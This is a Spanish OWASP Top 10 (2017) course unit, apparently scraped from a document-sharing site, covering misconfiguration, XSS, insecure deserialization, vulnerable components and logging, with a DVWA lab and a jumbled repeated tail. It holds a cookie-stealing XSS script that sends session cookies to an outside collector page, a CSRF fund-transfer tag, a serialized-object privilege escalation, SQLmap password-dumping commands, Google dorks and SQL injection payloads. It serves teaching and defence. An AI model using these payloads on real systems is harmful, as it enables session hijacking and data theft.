Página de ejecutar consultas SQL contra la base de datos, para pruebas.
C O NT I NU A R
8.1.1. Riesgos de una configuración de seguridad incorrecta

Figura 20. Riesgos de una configuración de seguridad incorrecta.
Algunas de sus principales características son:
En OWASP 2013 era el dominio A5; ahora ha bajado un puesto hasta el dominio A6. Este mismo
dominio, en la versión de 2010, ya estuvo en la posición A6 y, aunque fue subido
posteriormente, vuelve a encontrarse en la misma posición.
La configuración de la aplicación (frameworks, servidores de aplicación y web, bases de datos

y plataforma) debe estar definida e implementada de forma segura para contar con una
protección robusta.
Estas configuraciones no suelen ser seguras por defecto, por lo que deben definirse,
implementarse y mantenerse explícitamente.
El software debe mantenerse siempre actualizado; esto incluye también las librerías de código
empleadas por la aplicación.
C O NT I NU A R
8.2. Configuración de seguridad incorrecta
1 2 3 4
Un atacante puede servirse de cuentas por defecto, páginas sin utilizar, defectos no actualizados o
parcheados en el software, archivos desprotegidos, etc., para obtener un acceso no autorizado o un mayor
conocimiento del sistema.
1 2 3 4
Los agentes implicados pueden ser los siguientes:
Atacantes anónimos externos, así como aquellos usuarios con contraseñas reales que pueden ser
empleadas para comprometer el sistema.
Empleados o personal interno que cuente con información y acceso privilegiado y busque esconder
sus acciones.
1 2 3 4
Cualquier capa de la aplicación ¾desde la plataforma hasta el código, pasando por los servidores web y de
aplicación o el entorno de trabajo¾ puede ser susceptible de estar mal configurada.
1 2 3 4
Tanto desarrolladores de software como administradores de red deben trabajar conjuntamente para
garantizar que todos los niveles de la pila de la aplicación se encuentran debidamente configurados.
1 2 3 4
En este sentido, resulta especialmente útil la realización de escaneos automatizados para detectar
actualizaciones sin aplicar, configuraciones defectuosas, cuentas por defecto, servicios innecesarios
activos, etc.
Hay que formularse una serie de preguntas para evitar este riesgo en las aplicaciones:
Paso 1
¿Se ha implementado algún proceso que permita mantener el software actualizado? Aquí se
incluyen el sistema operativo, los sistemas DBMS, las aplicaciones y bibliotecas de código y los
servidores web y de aplicación.
Paso 2
¿Se ha deshabilitado, eliminado o desinstalado todo aquello que no sea necesario (puertos,
servicios, páginas, cuentas de usuario, privilegios, etc.)?
Paso 3
¿Se han modificado (o deshabilitado) las contraseñas de cuentas con privilegios?

Paso 4
¿Se ha configurado adecuadamente el sistema de manejo de errores para evitar el acceso no

autorizado a mensajes de error?
Paso 5
Paso 6
¿Se han entendido y configurado correctamente las características de seguridad de aquellas

bibliotecas y entornos de desarrollo en uso, como ASP.NET, Spring, PP o Struts?
Para poder desarrollar y mantener una adecuada configuración de seguridad de la aplicación es necesario
contar con un proceso concertado, repetible y replicable.
C O NT I NU A R
Es imperativo establecer un proceso repetible que permita la configuración rápida y sencilla de

entornos protegidos.
Se deben configurar de la misma forma los entornos de desarrollo, pruebas y producción.

Hay que automatizar este proceso para minimizar el esfuerzo requerido a la hora de configurar
un nuevo entorno.
Es necesario establecer un proceso que garantice el mantenimiento y despliegue oportunos de

todas las actualizaciones y parches del software.
Se debe seguir este proceso para cada uno de los entornos de trabajo. Asimismo, deben
incluirse también todas las actualizaciones de las bibliotecas de código.
Hay que escoger una arquitectura robusta que proporcione una óptima separación y seguridad
entre los componentes de la aplicación.
Es necesario considerar también la realización periódica de exploraciones (escaneos) y

auditorías que asistan en la detección de errores de configuración o la no aplicación de
parches.
Lección 9 de 19
IX. Secuencias de comandos en sitios cruzados

(XSS)
9.1. Introducción
El proyecto OWASP (s. f. e), en su guía oficial del proyecto OWASP Top 10, las define como:
Figura 21. Definición de XSS.

En general, existen varias maneras de explotar esta debilidad:
La utilización de determinadas cadenas de texto que se aprovechen de la sintaxis del

intérprete que está siendo atacado.
Prácticamente cualquier fuente de datos, incluso aquellas internas -como los datos
contenidos en una base de datos-, puede convertirse en un vector de inyección.
Los ataques de XSS pueden dividirse en tres categorías:
Almacenado.
Reflejado.
Basado en DOM (puede no enviar datos al servidor).
Normalmente, los ataques de XSS buscan secuestrar una sesión de usuario, destruir un sitio web, insertar
código malicioso tanto en el servidor como en el navegador de la víctima, redirigir usuarios hacia otros sitios,
etc.
Ejemplo clásico JSP
<% String eid = request.getParameter("eid"); %> Employee ID: <%= eid %>
C O NT I NU A R
9.1.1. Riesgos de XSS

Figura 22. Figura 22. Riesgos de XSS.
En la siguiente imagen puede apreciarse el resultado de haber explotado esta vulnerabilidad sobre una
reconocida página de la Unión Europea por parte de un grupo hacktivista:
Figura 23. Ejemplo de un XSS.
Fuente: Hispasec UnaAlDia.
En líneas generales, podría decirse que:
Con respecto a OWASP 2013, ha bajado cuatro puestos, intercambiándose la posición A3 por
la A7.
Los problemas de XSS se deben a que una aplicación envía datos no fiables al navegador web
sin validarlos y codificarlos antes adecuadamente.
Este ataque permite que un atacante ejecute secuencias de comandos en el navegador web
de la víctima y secuestre la sesión del usuario, destruir el sitio web o redirigir a la víctima a otro
sitio web malicioso, por ejemplo.
Esta vulnerabilidad engloba cualquier ataque que permita la ejecución de código scripting en el
contexto de otro sitio web.
Suele estar presente en aplicaciones que muestren información en un navegador web.
Los datos de entrada empleados por ciertas aplicaciones tienden a no estar correctamente
validados, lo que permite enviar scripts maliciosos a la aplicación.
Los formularios suelen ser el punto de entrada predilecto para la realización de estos ataques.
C O NT I NU A R
9.2. Definición de script
Los scripts son un conjunto de instrucciones -generalmente, almacenadas en un archivo de texto- que
deben ser interpretadas línea a línea en tiempo real para su ejecución. Se distinguen de los programas en
que estos deben ser convertidos a un archivo binario ejecutable.
Los scripts pueden estar embebidos en otro lenguaje para aumentar sus funcionalidades, como es el caso
de los scripts PHP o JavaScript en código HTML.
C O NT I NU A R
9.3. Definición de ataque XSS
9.3.1. ¿En qué consiste?

Un ataque XSS se aprovecha de la falta de mecanismos de filtrado y de validación en campos de entrada
(como formularios), lo que permite el envío de scripts (por ejemplo, de Visual Basic o JavaScript) que
contienen comandos maliciosos que pueden provocar un impacto directo en el equipo de un usuario.
El código se ejecuta en el equipo debido a que, normalmente, el código HTML se interpreta en el navegador
web en lugar de en el servidor. Por lo tanto, la inyección de HTML en una aplicación web no conllevaría
ningún impacto negativo sobre el servidor, ya que solo los navegadores interpretan dicho código. Por este
motivo, los ataques XSS también reciben el nombre de ataques del lado del cliente.
9.3.2. Explotación
Para poder explotarlo, se necesitan:
Datos que hayan sido almacenados en el servidor desde el cliente.
Datos que vayan a ser visualizados por otros usuarios.
Campos de entrada que no cuenten con validación o protección alguna.
Conocimientos del atacante sobre HTML y scripting.
9.3.3. Riesgos
Entre otros, están los siguientes riesgos::
Robo de credenciales.
Phishing.
Instalación de spyware y otros tipos de software malicioso.
Navegación dirigida.
Ejecución de acciones automáticas.
9.3.4. Recursos empleados

Algunos de los recursos empleados para explotar la vulnerabilidad son:
Formularios de contacto o consulta en sitios web.
Publicaciones en foros.
Firmas en libros de visita en línea.
Buscadores.
Variables.
Correo web.
C O NT I NU A R
9.4. Tipos de ataque XSS
DI R E C T O S I N DI R E C T O S
Un XSS persistente o XSS directo se da cuando un atacante consigue embeber código malicioso HTML
directamente en un sitio web. Para ello, se localizan los puntos débiles de la configuración de los filtros
HTML de publicación de contenido, si es que existen.
Este ataque suele ser el más común: el atacante basa su código en el uso de etiquetas HTML, como
<frame> o <script>, en las que incluye instrucciones maliciosas.
Estos ataques persistentes o almacenados son visibles para todos los usuarios del aplicativo al estar
almacenados en la propia aplicación (BB. DD., LocalStorage…).
DI R E C T O S I N DI R E C T O S
Este tipo de ataques también se denominan no persistentes o reflejados debido a su naturaleza no

persistente. En este caso, el código malicioso se inyecta mediante formularios, parámetros en una URL,
enlaces maliciosos, programas en Flash, vídeos o archivos PDF, entre otros.
El XSS indirecto podría darse, por ejemplo, mediante un enlace malicioso como
http://www.victima.com/search?q=<script>alert(‘Hola Mundo!’);</script>. En este caso, el navegador
mostraría una ventana emergente con el texto “Hola Mundo!”.
Esta vulnerabilidad suele emplearse en campañas de phishing o para robar sesiones de usuario.
C O NT I NU A R
9.5. Fases de un ataque XSS
Figura 24. Fases de un ataque XSS.

Fuente: elaboración propia.
C O NT I NU A R
9.6. Ejemplo de un ataque XSS

1
Robo de cookies
Esta técnica permite robar sesiones de una forma relativamente sencilla. Para ello, solo es
necesario elaborar un script que realice una llamada a una página alojada en nuestro servidor
para pasarle la cookie.
<script languaje=‘Text/Javascript’>
Var su_cookie = ‘http://www.servidor.com/guarda.php?suya=‘ +

escape(document.cookie);
</script>
2
Robo de cookies
Y el fichero “Guarda.php” contiene:
<?php
$fichero=fopen(“cookies.txt”,”a”); fputs($fichero, “\n”.$_GET["cookie"].”\n”); fclose($fichero);
?>
3
Robo de cookies
Aprovechando una parte de la aplicación vulnerable a XSS, se inyectaría el script.
En cuanto un usuario se autentica en el servidor, el script se ejecuta y el contenido de la cookie se

envía al servidor.
4
Robo de cookies
Cuando la página obtiene la cookie (almacenándola, por ejemplo, en un fichero), se puede pasar la
original al servidor mediante una llamada.
Siempre y cuando el usuario no cierre la sesión, se podrá emplear la cookie para robar la sesión
del usuario.
C O NT I NU A R
9.7.1. En el lado del servidor
Saber más
Para ampliar información sobre este tipo de vulnerabilidad, se puede consultar

la guía más completa XSS hacking tutorial de Lord Epsilon, disponible en el sitio
web de El-brujo (s. f.).
Validar todas las entradas de formularios: tanto el tipo de dato como la longitud de cada campo
debe corresponderse con lo esperado.
Los caracteres especiales considerados peligrosos deben filtrarse.
Las aplicaciones web deben programarse filtrando determinados comandos. Las etiquetas
script, object, applet, embed y form suelen ser las más empleadas en XSS, por lo que se debe
tener especial cuidado con ellas.
Cuando se detecte que un usuario está intentando realizar un ataque, se deben enviar
mensajes disuasorios.
C O NT I NU A R
9.7.2. En el lado del cliente

Otra contramedida es el uso de las versiones más recientes y actualizadas de los navegadores web, así
como de los plugins que estén instalados en ellos, como, por ejemplo, los visores de PDF.
Hoy en día, los navegadores modernos suelen mostrar un mensaje cuando se accede a una web víctima de
XSS que advierte de que la página web que se intenta visitar ha sido modificada para proteger al usuario de
un posible ataque. Esto se debe a los filtros anti-XSS, que detectan posibles manipulaciones en una página
inyectando código en un parámetro. El único que no lo incluye de serie es Firefox.
Lección 10 de 19
X. Deserialización insegura
10.1. Introducción
Figura 25. Definición de deserialización insegura.

Esta categoría ha sido propuesta por la comunidad. Explotar esta vulnerabilidad es difícil, ya que rara vez
funcionan los exploits sin tener que realizarles ningún cambio. Implica convertir datos de un formato a otro
concreto que permita su transmisión o guardado. Esta vulnerabilidad puede permitir la ejecución de código
remoto -uno de los ataques más serios- o la manipulación de objetos sensibles.
¿Cómo es explotado? Se presentan algunas de las formas en las que un atacante podría explotar dicha
vulnerabilidad:
1 2 3
El atacante crea peticiones HTTP falsas y las envía mediante etiquetas en imágenes, XSS, etc., engañando
así a la víctima. Si el usuario está autenticado en la aplicación víctima, entonces el ataque tendrá éxito.
1 2 3
Cada enlace y formulario sensible de ser objeto de acciones peligrosas debe contener un testigo (token) no
predecible para cada usuario y cada petición.
1 2 3
Se debe descartar como medida de protección aquella información que suela encontrarse incluida en la
petición falsa, como las cookies de sesión, las direcciones IP de la fuente u otro tipo de información similar.
Ejemplo clásico
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“width="0" height="0" />
Si la víctima previamente había adquirido privilegios, entonces el ataque será
exitoso.
C O NT I NU A R
10.1.1. Riesgos de la deserialización insegura

Figura 26. Riesgos de CSFR.

En general, puede decirse que:
1
Surge como un nuevo dominio con su propia categoría.

2
Es complicado explotar esta vulnerabilidad, ya que es muy raro que los exploits distribuidos para
estos fines funcionen sin necesidad de realizar cambios o ajustes en su código fuente.
3
Se espera que su detección aumente a medida que se desarrollen más herramientas dedicadas a
ayudar a identificar y abordar estas fallas.
C O NT I NU A R
10.2. Deserialización insegura
Se denomina serialización al proceso de codificación de un objeto en un medio de almacenamiento con el fin

de transmitirlo a través de una conexión en red. Esta transmisión puede realizarse mediante una serie de
bytes o en un formato más legible, como XML o JSON, entre otros. Como se ha visto, la serialización es
utilizada en las aplicaciones para llevar a cabo las siguientes tareas:
Comunicación remota e interproceso (RPC/IPC).
Protocolos de comunicaciones, web services y brokers de mensajes.

Caching y persistencia.
Bases de datos, servidores de caché y sistemas de archivos.
Todas las aplicaciones y API serán vulnerables a este tipo de ataque si deserializan objetos hostiles
manipulados por un atacante. Esto supone que dentro de esta vulnerabilidad existen dos tipos de ataque:
Ataques a la estructura de datos y objetos

–
Se relacionan con la estructura de los datos y los objetos. El atacante consigue modificar la lógica de la
aplicación o la ejecución remota del código, lo que puede modificar el comportamiento de la aplicación
durante o después del proceso de deserialización.
Manipulación de datos
–
Los ataques de manipulación de datos más comunes son aquellos en los que se utilizan estructuras de
datos existentes, pero se modifica su contenido.
C O NT I NU A R
10.3. Ejemplos
10.3.1. Foro desarrollado en PHP
Un foro desarrollado en PHP emplea procesos de deserialización de objetos PHP para almacenar una
supercookie, que, a su vez, contiene diferentes datos del usuario, como su ID, su rol, el hash de la
contraseña, etc.
Recuerda
a:4:
{i:0;i:132;i:1;s:7:”Mallory”;i:2;s:4:”user”;i:3;s:32:”b6a8b3bea87fe0e05022f8f3c88”
}
10.3.2. Objeto serializado

Un atacante modifica este objeto PHP serializado con el objetivo de proporcionarse a sí mismo privilegios de
administrador:
Recuerda
a:4:
{i:0;i:132;i:1;s:7:”Alice”;i:2;s:4:”admin”;i:3;s:32:”b6a8b3bea87fe0e05022f8f3c88”}
C O NT I NU A R
La única contramedida segura es no aceptar objetos serializados que provengan de fuentes no fiables o, en
su detecto, emplear métodos de serialización que solo permitan tipos de datos primitivos. Normalmente,
esto no es posible; en esos casos, se pueden tener en cuenta las siguientes medidas:
Implementar verificaciones de integridad como firmas digitales.
Aislar el código que realiza la deserialización de modo que se ejecute en un entorno con los
mínimos privilegios posibles.
Lección 11 de 19
XI. Uso de componentes con vulnerabilidades

conocidas
11.1. Introducción
El proyecto OWASP (s. f. e), en su guía oficial del proyecto Top 10, la define como:
Figura 27. Definición de utilización de componentes con vulnerabilidades

conocidas.
Un software desactualizado o con debilidades podrá ocasionar problemas graves o leves. Su explotabilidad

será también variable. El atacante, para obtener acceso, utiliza defectos en softwares no actualizados,
archivos no protegidos, etc.
Ejemplo clásico
Tomcat Manager con contraseñas por defecto.

C O NT I NU A R
11.1.1. Riesgos de la utilización de componentes con vulnerabilidades

conocidas
Figura 28. Riesgos de la utilización de componentes con vulnerabilidades

conocidas.
C O NT I NU A R
11.2. Riesgos presentados
Existen determinados componentes de un software, como las librerías, los frameworks u otros módulos,
que casi siempre funcionan con el máximo privilegio.
El ataque contra un componente vulnerable podría facilitar la pérdida de datos o la intrusión en el

sistema.
El uso de componentes con vulnerabilidades conocidas debilita enormemente las defensas de la

aplicación, ya que permite ampliar el rango de posibles impactos y ataques.
En teoría, no debería resultar complicado discernir si se está empleando un componente o una biblioteca
vulnerables.
Sin embargo, los reportes de vulnerabilidades para software comercial o abierto no siempre especifican
qué versión de un componente es vulnerable de manera estándar o accesible.
Además, no todas las bibliotecas emplean un sistema de versiones numérico y extensible.

Por último, no todas las vulnerabilidades se reportan en centros de intercambio en los que resulta
sencillo efectuar búsquedas, como CVE o NVD.
C O NT I NU A R
11.3. Ejemplos
Ejecución de código remoto en Spring debido a la implementación en este del componente vulnerable
Expression Language.
Enlace Apache CXF
Apache CXF con su DoS (CVE-2013-2160), que se puede encontrar en la página de VMware (2020).
Por tanto, es necesario plantear la siguiente cuestión: ¿cuántos componentes de los que se emplean ya no
tienen ningún tipo de soporte?
C O NT I NU A R
1 2 3 4
Una opción es no usar componentes programados por terceros, pero en muchas ocasiones no es posible.
1 2 3 4
Hay muy pocos proyectos de componentes que creen parches para versiones antiguas: más bien
implementan una nueva versión con nuevas funcionalidades.
1 2 3 4
Crear un proceso que permita:
Identificar todos los componentes y sus versiones, incluyendo sus dependencias.
Revisar el grado de seguridad del componente en páginas de vulnerabilidades, listas, foros y

directamente del propio autor.
Establecer políticas de seguridad que regularicen el uso de componentes; por ejemplo, gestión de
licencias, realización de pruebas de software, requerimientos específicos de desarrollo de software,
etc.
1 2 3 4
Se recomienda también agregar capas de seguridad adicionales alrededor del componente para, por
ejemplo, eliminar funcionalidades que no se usan, asegurar ciertos aspectos débiles, etc.
Lección 12 de 19
XII. Registro y monitoreo insuficientes
12.1. Introducción
El proyecto OWASP (s. f. e), en su guía oficial del proyecto OWASP Top 10, los define como:
Figura 29. Definición de riesgos de registro y monitoreo insuficientes.

Por defecto, los sistemas no están bien configurados para monitorizar y registrar los eventos ocurridos; por
ejemplo, la gran mayoría no registra los intentos fallidos de inicios de sesión o no guarda los avisos y errores
generados por la aplicación en un lugar seguro. Esto permite a los atacantes mantener la persistencia,
pivotar entre los sistemas o extraer/destruir información sin que quede ningún tipo de indicio.
Se deben configurar las alertas apropiadas para poder escalar las incidencias correctamente y no perder el
control de lo que sucede en el sistema.
C O NT I NU A R
12.1.1. Riesgos de redirecciones y reenvíos no validados
En cuanto a la guía oficial del proyecto OWASP Top Ten (s. f.-e), se puede resumir el riesgo presentado
como:
Figura 30. Riesgos de registro y monitoreo insuficientes.

En general, puede afirmarse que:

1
Siendo su primera aparición en la lista, ha sido definida por la comunidad mediante una encuesta
a la industria y ocupa la última posición de la lista 2017.
2
Se deben registrar las acciones de los evaluadores con el suficiente detalle como para
comprender el daño que se podría haber provocado.
C O NT I NU A R
12.2. Registro y monitorización insuficientes
El registro y el monitoreo de eventos insuficientes ocurren en cualquier momento:
Eventos auditables, tales como los inicios de sesión, los fallos de inicio de sesión y las
transacciones de alto valor.
Errores y alertas que generan registros poco claros y difíciles de gestionar.
Los registros no son monitoreados para detectar actividades sospechosas.

Los umbrales de alerta son ineficaces o no están implementados.
La aplicación es incapaz de detectar, alertar o escalar ataques en tiempo real.
C O NT I NU A R
1 2 3 4
Registrar todos los errores: inicio de sesión, control de acceso, validación de entrada de datos del lado del
servidor, etc.
1 2 3 4
Añadir una pista de auditoría a las transacciones de alto impacto con controles de integridad que eviten
posibles alteraciones o eliminaciones.
1 2 3 4
Establecer procesos de monitorización y alerta efectivos que permitan que las actividades sospechosas se
detecten (y se respondan) dentro de marcos de tiempo aceptables.
1 2 3 4
Preparar un plan de respuesta o recuperación ante incidentes.
C O NT I NU A R
Lección 13 de 19
XIII. Resumen
Repasa los conocimientos adquiridos en la unidad
Dentro de esta unidad se ha hablado del proyecto OWASP y de los diez riesgos o vulnerabilidades que se
consideran más relevantes dentro de la seguridad de las aplicaciones web, que son:
A1:2017: inyección.
A2:2017: pérdida de autenticación.
A3:2017: exposición de datos sensibles.
A4:2017: entidades externas XML (XXE).
A5:2017: pérdida de control de acceso.
A6:2017: configuración de seguridad incorrecta.
A7:2017: cross-site scripting (XSS).
A8:2017: deserialización insegura.
A9:2017: uso de componentes con vulnerabilidades conocidas.
A10:2017: registro y monitoreo insuficientes.
Como ya se ha explicado, OWASP categoriza las vulnerabilidades de riesgo y criticidad dentro del
proyecto, y es por eso que la primera, la inyección -y, más concretamente, la inyección SQL-, es de las
vulnerabilidades más comunes dentro de los fallos de seguridad de las aplicaciones.
En esta unidad se ha profundizado en cada uno de los diez puntos tratados en el top ten y se han
analizado los diferentes aspectos y características que tiene cada una de las vulnerabilidades, así como
las contramedidas que se deben llevar a cabo y las formas de evitarlas.
Es importante recordar que las medidas de seguridad se utilizan con el fin de prevenir este tipo de
vulnerabilidades y evitar que estas sean explotadas por los atacantes para asegurar que nuestras
aplicaciones no tienen estos fallos de seguridad en la programación.
Lección 14 de 19
XIV. Caso práctico con solución
Aplica los conocimientos adquiridos en esta unidad
ENUNCIADO
Mediante la aplicación DVWA 1.0.8 (disponible en http://www.dvwa.co.uk/) y una vez instalada en el
equipo local, se procederá a emplear la herramienta SQLmap (http://sqlmap.org/) para comprobar una
aplicación web vulnerable a inyección SQL. Previamente, se pondrá el nivel en low en DVWA.
DATOS
Será necesario obtener el identificador de sesión y el nivel de seguridad para introducirlos por línea de
comando en SQLmap. Puede usarse alguna herramienta tipo EditThisCookie
(http://www.editthiscookie.co m/) para Chrome/Opera o EditCookie
(https://addons.mozilla.org/es/firefox/addon/edit-cookies/) para Firefox.
VER SOLUCIÓN
SOLUCIÓN
1. Obtener el backend empleado:
python sqlmap.py -u 'http://localhost/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit#'

--cookie="security=low;SESSID=rc3v6cnopl47veg81qqbpopbb5" -f
2. Obtener la versión de la base de datos empleada:

--cookie="security=low;SESSID=rc3v6cnopl47veg81qqbpopbb5" -b
3. Obtener los usuarios, roles, privilegios y contraseñas y ver si son DBA:

--cookie="security=low;SESSID=rc3v6cnopl47veg81qqbpopbb5” --users --passwords –
privileges --passwords --is-dba
4. Obtener todas las tablas de la base de datos:

--cookie="security=low;SESSID=rc3v6cnopl47veg81qqbpopbb5" --tables
5. Obtener todas las columnas de la base de datos:

--cookie="security=low;SESSID=rc3v6cnopl47veg81qqbpopbb5" –columns
6. Obtener todas las bases de datos disponibles:

--cookie="security=low;SESSID=rc3v6cnopl47veg81qqbpopbb5" --dbs
7. Volcar el contenido de las columnas User y Password de la tabla Users de la base de datos DVWA:

--cookie="security=low;SESSID=rc3v6cnopl47veg81qqbpopbb5" -D dvwa -T users -C
user,password –dump
8. Abrir una shell a la propia base de datos:

--cookie="security=low;SESSID=rc3v6cnopl47veg81qqbpopbb5” --sql-shell
2
ENUNCIADO
Consultar en Google los siguientes dorks para ver los resultados que devuelven. .
DATOS
Puede emplearse el Google Dork Hacking Database, disponible en https://www.exploit-db.com/google-

hacking-database/:

Intitle:”Web Data Administrator – Login”.
Intitle:phpMyAdmin.
Inurl:main.php phpMyAdmin.
Inurl:php.ini filetype:ini.
Allinurl: admin mdb.

VER SOLUCIÓN
SOLUCIÓN
No puede ofrecerse ninguna solución concreta, ya que saldrán diferentes resultados debido a la
geolocalización, la configuración del browser, etc.
Si se necesita más información sobre Google Dorks, se pueden consultar los materiales de Abril Núñez
(2015) y Offensive Security’s Exploit Database Archive (s. f.), recogidos en la sección Enlaces de
interés de la bibliografía de la unidad.
Lección 15 de 19
XV. Lecturas recomendadas
“Security Analysis of the OWASP Benchmark with Julia”

Burato, E.; Ferrera, P.; Spoto, F. “Security Analysis of the OWASP Benchmark with Julia”. ITASEC17; 2017.
"Discover Broken Authentication and Session Management

Vulnerabilities in ASP.NET Web Application"
Sharma, R. R.; Sheth, R. K. “Discover Broken Authentication and Session Management Vulnerabilities in
ASP.NET Web Application”. IJSRST; 2017; vol. 3; n. 1; pp: 290-293.
Secure Web Application Deployment Using Owasp

Standards: An Expert Way of Secure Web Application
Deployment
Subbulakshmi, T. Secure Web Application Deployment Using Owasp Standards: An Expert Way of Secure
Web Application Deployment. CreateSpace Independent Publishing Platform; 2017.
“Studying Open Source Vulnerability Scanners for

Vulnerabilities in Web Applications”
Sugar, D.; Kukreja, S.; Brahma, J.; Tyagi, S.; Jain, P. “Studying Open Source Vulnerability Scanners for
Vulnerabilities in Web Applications”. IIOAB Journal; 2018; vol. 9; n. 2; pp. 43-49.
Cyber Risks and the Attack Life Cycle
Thompson, E. C. Cyber Risks and the Attack Life Cycle. Apress; 2018.
Lección 16 de 19
XVI. Enlaces de interés
Hacking tutorial: búsquedas con Google Dorks

Núñez, A. Hacking tutorial: búsquedas con Google Dorks. OpenWebinars.net; 2015
Offensive Security’s Exploit Database Archive

Offensive Security’s Exploit Database Archive; s. f.
Lección 17 de 19
XVII. Glosario
El glosario contiene términos destacados para la

comprensión de la unidad
Ataque XSS
–
Técnica que, aprovechando la inexistencia de validación de entradas o mecanismos de filtrado, inyecta
contenidos maliciosos (normalmente, mediante scripts escritos en JavaScript o Visual Basic) que podrían
provocar un impacto directo tanto en el sitio web como en el equipo de un usuario.
“Exploit”
–
Todo fragmento de código o de software que permite aprovechar un error o debilidad en un hardware o
software para provocar un impacto, generalmente negativo. Muchos exploits se emplean como vector de
entrada en una aplicación web para llevar a cabo más ataques dentro del sistema.
“Framework”
–
Esquema o marco conceptual de soporte definido que contiene herramientas y módulos orientados a la
programación y desarrollo de aplicaciones.
“Hash”
–
Algoritmo matemático que se encarga de transformar un bloque arbitrario de datos en otra serie de
caracteres diferente con una longitud fija que no variará nunca, ya que no depende de la longitud de los
datos de entrada.
Inyección SQL (SQL “injection”)

–
Se le llama así al hecho de insertar código SQL intruso y a la porción de código incrustado. Existen
diferentes tipos de inyección SQL, como las de tipo blind.
Lista blanca
–
Lista o registro de entidades que, por una razón u otra, pueden obtener algún privilegio particular, servicio,
movilidad, acceso o reconocimiento.
PKI
–
Una infraestructura de clave pública (public key infrastructure, en inglés) es un conjunto de procedimientos
y políticas apoyados por soluciones de hardware y software que tienen como objetivo garantizar la
seguridad de ciertas operaciones, como, por ejemplo, la autenticación, el cifrado o la identificación, entre
otras.
SCRIPT
–
Conjunto de instrucciones relativamente simples que se interpretan y ejecutan en tiempo real. A diferencia
de un programa informático, no es necesario convertir un script (normalmente almacenado en un archivo
de texto) en un archivo binario ejecutable para poder emplearlo.
SSL
–
El secure sockets layer (o capa de conexión segura, en español) es un protocolo de seguridad criptográfica
empleado para garantizar el intercambio seguro de datos en línea. Hoy en día se considera obsoleto, pues
se prefiere el uso del protocolo TLS (transport layer security o seguridad en la capa de transporte, en
español).
“Wrapper” (Envoltorio)
–
Clase utilizada para los datos primitivos.
Lección 18 de 19
XVIII. Bibliografía
El-brujo. Manual con ejemplos «XSS for fun and profit». El Hacker; s. f.
Full Disclosure: Predefined Post Authentication Session ID Vulnerability. Seclists.org; 2012.
OWASP Project. OWASP Code Review Project. OWASP; s. f. a.
OWASP Project. OWASP Enterprise Security API (ESAPI). OWASP; s. f. b.
OWASP Project. OWASP Legal Project. OWASP; s. f. c.
OWASP Project. SQL Injection Prevention. OWASP Cheat Sheet Series; s. f. d.
OWASP Project. OWASP Top Ten 2017. OWASP; s. f. e.
OWASP Project. OWASP Top Ten Web Application Security Risks. OWASP; s. f. f.
OWASP Project. OWASP Web Security Testing Guide. OWASP; s. f. g.
OWASP Project. OWASP/ASVS. GitHub; s. f. h.
ParthDutt. Understanding Rainbow Table Attack. GeeksforGeeks; 2018.
Pentestmonkey. MSSQL Injection Cheat Sheet. Pentestmonkey; s. f.
Salt (cryptography). Wikipedia; 2021.

VMware. CVE-2018-1270: Remote Code Execution with spring-messaging | Security [Text/html].
VMware, Inc. or its affiliates; 2020.
Lección 19 de 19
XIX. Anexos
U3_Ataques de inyección.pptx
580.7 KB

3 Owasp

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

3 Owasp

Cargado por

Copyright:

Formatos disponibles

Unidad 3.

II. Riesgos de seguridad en aplicaciones web

IV. Pérdida de autenti cación

V. Exposición a datos sensibles (XXE)

VI. Entidades externas XML

VII. Pérdida de control de acceso

VIII. Con guración de seguridad incorrecta

IX. Secuencias de comandos en sitios cruzados (XSS)

XI. Uso de componentes con vulnerabilidades conocidas

XII. Registro y monitoreo insu cientes

XIV. Caso práctico con solución

XV. Lecturas recomendadas

XVI. Enlaces de interés

1.1. Introducción de la unidad

La posición de OWASP como referente en el mundo de la seguridad de aplicaciones está fuertemente

2 Interpretar adecuadamente la información descrita en la guía (rutas, riesgos, clasiﬁcaciones,

II. Riesgos de seguridad en aplicaciones web

Rutas de las aplicaciones web

Figura 1. Rutas de las aplicaciones web

Fuente: guía OWASP Top 10.

Rutas de las aplicaciones web

Para determinar el riesgo en una organización determinada se puede evaluar la probabilidad

Clasiﬁcación genérica de OWASP

Figura 2. Clasiﬁcación genérica de OWASP.

Fuente: guía OWASP Top 10.

Poco común (1).

Recuerda: OWASP Top 10 2017

Figura 3. Deﬁnición de inyección.

Un ejemplo clásico sería el siguiente:

String query = "SELECT * FROM accounts WHERE custID='" +

Figura 4. Riesgos de inyección.

Ejemplo de una inyección

Figura 5. Ejemplo de una inyección.

Ejemplo de una inyección

Estos datos, introducidos maliciosamente por el atacante, pueden engañar al intérprete y

3.2. Inyección SQL

Para auditar una aplicación vulnerable existen diferentes formas:

Análisis de métodos GET/POST.

Puntos de entrada a la aplicación.

Análisis de posible código que se encuentre en el servidor.

Campos validados por HTML/CSS.

Campos validados por lenguajes de scripting.

Búsqueda de carácter rompedor

1. Probar comilla doble.

2. Probar comilla simple.

Regla: abrir/cerrar siempre las cadenas.

Búsqueda de carácter “comentario”

1. Probar “//” (dobles barras).

2. Probar “/*” (barra y asterisco).

3. Probar “--” (doble guion).

Búsqueda de carácter sentencia múltiple

1. Probar “;” (punto y coma).

Estructura típica de entrada

Por ejemplo, supón el siguiente formulario:

Figura 6. Formulario de acceso.

También se podrían haber introducido en el primer parámetro:

3.3. Precedencia de operadores

Por lo tanto, la sintaxis completa del código a ejecutar sería:

strSQL=”Select * from USUARIOS

Select * from USUARIOS where usuario=‘cadena_login_correcta’ and password=‘’ OR V=V;

Select * from USUARIOS where usuario=‘cadena_login_correcta’ and password=‘’ OR V;

Select * from USUARIOS where usuario=‘cadena_login_correcta’ and F/V OR V;

Select * from USUARIOS where usuario=‘cadena_login_correcta’ and V;